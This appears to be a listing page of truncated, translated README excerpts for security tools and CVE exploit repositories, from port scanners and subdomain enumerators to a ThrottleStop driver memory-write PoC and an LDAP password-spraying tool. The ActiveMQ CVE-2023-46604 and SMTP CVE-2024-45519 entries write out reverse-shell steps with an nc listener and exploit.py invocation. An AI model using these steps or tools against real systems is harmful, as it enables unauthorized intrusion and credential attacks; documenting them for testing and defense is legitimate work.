CVE-2023-46604

CVE-2023-46604 构建docker-compose，其中包含两个镜像：受害机与目标机，按所需环境配置 在受害机上，启动ActiveMQ 切换到攻击机： • 开启HTTP服务以发送poc： python3 -m http.server • 使用netcat监听连接至攻击机 nc -nlvp 4444 • 发送载荷，建立反向shell连接至攻击机 python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中： Exploit.py：漏洞利用代码文件 -i...

xmap

XMap: インターネットスキャナー XMapは、インターネット全体のIPv6およびIPv4ネットワーク研究スキャンを実行するために設計された高速ネットワークスキャナーです。...

whatportis

whatportis .. image:: https://github.com/opencve/opencve/workflows/Tests/badge.svg :target: https://github.com/ncrocfer/whatportis/actions/workflows/tests.yml .. image:: https://badge.fury.io/py/whatportis.svg :target: https://pypi.python.org/pypi/whatportis/ .. image::...

whatportis

whatportis .. image:: https://github.com/opencve/opencve/workflows/Tests/badge.svg :target: https://github.com/ncrocfer/whatportis/actions/workflows/tests.yml .. image:: https://badge.fury.io/py/whatportis.svg :target: https://pypi.python.org/pypi/whatportis/ .. image::...

xerosploit

Xerosploit Xerosploit 是一款渗透测试工具包，其目标是为了测试目的而执行中间人攻击。它提供了多种模块，能够实现高效的攻击，同时还可以进行拒绝服务攻击和端口扫描。 由 bettercap 和 nmap 提供支持。 依赖项 nmap hping3 build-essential ruby-dev libpcap-dev libgmp3-dev tabulate terminaltables 安装 依赖项将自动安装。 git clone https://github.com/LionSec/xerosploit cd xerosploit && sudo python...

CamXploit

このGitHubリポジトリが役に立ったと思われましたら、スターをお願いします！ ⭐️ CamXploitは、研究者や防御者がIPアドレスが露出したIPカメラやCCTVサービス をホストしている可能性があるかを評価するためのセキュリティ偵察ツールです。 このツールは、一般的なカメラポートのスキャン、アクセス可能なWebインターフェースの識別、一般的な設定の脆弱性（例：デフォルト設定や公開アクセス可能なサービス）の強調表示など、非侵襲的なチェック を実行します。また、さらなる手動調査と確認 を支援するコンテキスト検索リンクも提供します。...

scilla

🏴‍☠️ Information Gathering tool 🏴‍☠️ - DNS / Subdomains / Ports / Directories enumeration Coded with 💙 by edoardottt Share on Twitter! Install • Get Started • Examples • Changelog • Contributing • License Installation 📡 Homebrew brew install scilla Snap sudo snap install scilla Golang go install -v...

scilla

🏴‍☠️ 情報収集ツール 🏴‍☠️ - DNS / サブドメイン / ポート / ディレクトリの列挙 Coded with 💙 by edoardottt Share on Twitter! インストール • はじめに • 使用例 • 変更履歴 • コントリビューション • ライセンス インストール 📡 Homebrew brew install scilla Snap sudo snap install scilla Golang go install -v github.com/edoardottt/scilla/cmd/scilla@latest ソースからのビルド Go =1.23...

SharpUp

SharpUp SharpUpは、様々なPowerUp機能をCに移植したものです。現在のところ、最も一般的なチェックのみが移植されており、武器化機能はまだ実装されていません。 @harmj0y が主な作者です。 SharpUpはBSD 3-Clauseライセンスの下で提供されています。 使用方法 SharpUp.exe audit check1 check2... audit - Specifies whether or not to enable audit mode. If enabled, SharpUp will run vulenrability checks regardle...

sshfinder

sshfinder 发现网络上的每一个 SSH 服务，判断其是否符合你的标准，并在发生变化时收到通知。 sshfinder 是一个无第三方依赖的单一 Python 文件。将其指向一个 CIDR 网段，它就能发现 SSH 实际监听的任何位置——不仅仅是 22 端口——确认每个服务确实在运行 SSH 协议，评估其加密安全态势，并在有服务不符合你的策略时返回非零退出码。 它解决的问题 大多数团队无法回答关于自身 SSH 资产状况的三个问题： 1. 我们有多少 SSH 服务，它们在哪里？ 不是问有多少台机器——而是问有多少个 正在监听的 SSH 服务 ，包括那个承包商在 2019 年搭建在 22...

CVE-2024-45519

CVE-2024-45519 SMTP漏洞利用脚本 概述 该脚本检查SMTP服务器的漏洞，如果发现漏洞，则利用该漏洞向您的机器建立反向Shell连接。 功能特点 端口检查 ：验证目标SMTP端口是否开放。 漏洞检查 ：发送负载以测试SMTP服务器的漏洞。 利用与反向Shell ：如果服务器存在漏洞，脚本将执行反向Shell，使您能够获取远程机器的访问权限。 使用方法 1. 在您的机器上监听 ：运行脚本之前，打开一个终端并监听传入连接： nc -lvnp 4444 （将 4444 替换为您选择的端口，与脚本中的端口一致。） 2. 运行脚本...

naabu

Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...

naabu

機能 • インストール • 使い方 • naabuの実行 • 設定 • NMAP統合 • CDN/WAF除外 • Discord NaabuはGoで書かれたポートスキャンツールで、高速かつ信頼性の高い方法でホストの有効なポートを列挙できます。これは非常にシンプルなツールで、ホストまたはホストリストに対して高速なSYN/CONNECT/UDPスキャンを実行し、応答を返すすべてのポートをリストアップします。 機能 高速かつシンプルなSYN/CONNECT/UDP プローブベースのスキャン 使いやすさとリソースの軽量 さに最適化 DNS ポートスキャン DNSポートスキャンにおける自動IP重複...

Lepus

Lepus Lepus は、サブドメインの列挙、サブドメイン乗っ取りの確認、ポートスキャンを実行するツールです。しかも、とっても速い！ 基本的な使い方 lepus.py yahoo.com 目次 列挙モード サブドメイン乗っ取り ポートスキャン インストール 引数 完全なコマンド例 列挙モード 列挙モードは、Lepusが特定のドメインに対してサブドメインを識別するための異なる方法です。これらのモードは次のとおりです: コレクター 辞書 順列 リバースDNS マルコフ さらに: すべての方法において、Lepusは指定されたドメインまたは生成された潜在的なサブドメインが ワイルドカード...

CVE-2024-38077-check

CVE-2024-38077check 基于135端口检测目标是否存在CVE-2024-38077漏洞，需要目标机器防火墙未对135进行限制，如果目标开启RDL服务，则受该漏洞影响，如果目标服务器更新了补丁，进行RPC尝试连接该服务会返回 ncasfaultaccessdenied 。 注：2008、2012 补丁没打成功，所以不确定是不是返回 accessdenied，图中已更新漏洞补丁的是 2016 和 2019 。...

vhostawesome

FunWithVhosts 複数のIPアドレスに対して仮想ホストを効率的にチェックするためのツールです。 説明 FunWithVhostsは、指定されたIPアドレス上の仮想ホストを特定するプロセスを自動化します。このスクリプトは、Webサーバーポートを中心に開いているポートをチェックし、指定されたドメインの可能性のあるサブドメインリストを使用してコンテンツを取得しようとします。スレッドを使用して効率的にスキャンし、詳細な結果を出力します。 特徴 スレッドを使用した同時スキャン。 デフォルトでポート80、8080、443、8443、4443をチェック。 カスタマイズ可能なポートスキャン。...

skanuvaty

Skanuvaty 危険なほど高速なDNS/ネットワーク/ポートスキャナー、オールインワン。 ドメインから始めて、それに関するすべてを見つけます。 特徴: ルートドメインからサブドメインを検出 サブドメインのIPを検出 それらのIPで開いているポートをチェック（注意：未実装） 調査用にすべてのデータを含む便利な.jsonファイルを出力します。 コンピューター/ネットワーク/DNSリゾルバーが許す限り高速に動作します。10.000のサブドメインのテストランでは、16（論理）コアのマシンでconcurrencyを16に設定し、20秒ですべてをテストしました。 使い方 skanuvaty...

ThrottleStopPoC

ThrottleStopPoC CVE-2025-7771 ：通过 ThrottleStop 驱动进行任意物理内存和 I/O 端口读/写 ThrottleStop 是一个小型合法应用程序，用于监控和纠正 CPU 节流。它带有一个驱动来协助这些任务，而且该驱动大多没有任何输入验证。 易受攻击的 IOCTL IOCTL| 漏洞 ---|--- 0x80006498| 任意内存读取 0x8000649C| 任意内存写入 0x80006430| 任意端口读取 0x80006434| 任意端口写入 似乎还存在任意的 MSR 读和写，但我无法让它们工作。你可以自己去查看。读 MSR 位于...

SharpSpray

SharpSpray このプロジェクトは、私の PowerSpray.ps1 スクリプトを C に移植したものです。SharpSpray は、LDAP を使用してドメインの全ユーザーに対してパスワードスプレー攻撃を実行するためのシンプルなコードセットであり、Cobalt Strike と互換性があります。 https://github.com/jnqpblc/Misc-PowerShell/blob/master/PowerSpray.ps1 デフォルトでは、ドメインからユーザーリストを自動生成します。 デフォルトでは、現在の日付を使用してパスワードリストを自動生成します。...

pythoncode-tutorials

Python 代码教程 这里是 The Python Code 网站所有教程的代码仓库。 教程列表 道德黑客 Scapy Scapy 入门：Python 网络操作工具 构建 ARP 欺骗程序。代码 检测 ARP 欺骗攻击。代码 如何使用 Scapy 在 Python 中制作 DHCP 监听器。代码 伪造接入点生成器。代码 使用 Scapy 强制设备断开连接。代码 简单网络扫描器。代码 编写 DNS 欺骗程序。代码 如何使用 Scapy 嗅探网络中的 HTTP 数据包。代码 如何使用 Scapy 在 Python 中构建 WiFi 扫描器。代码 如何在 Python 中进行 SYN...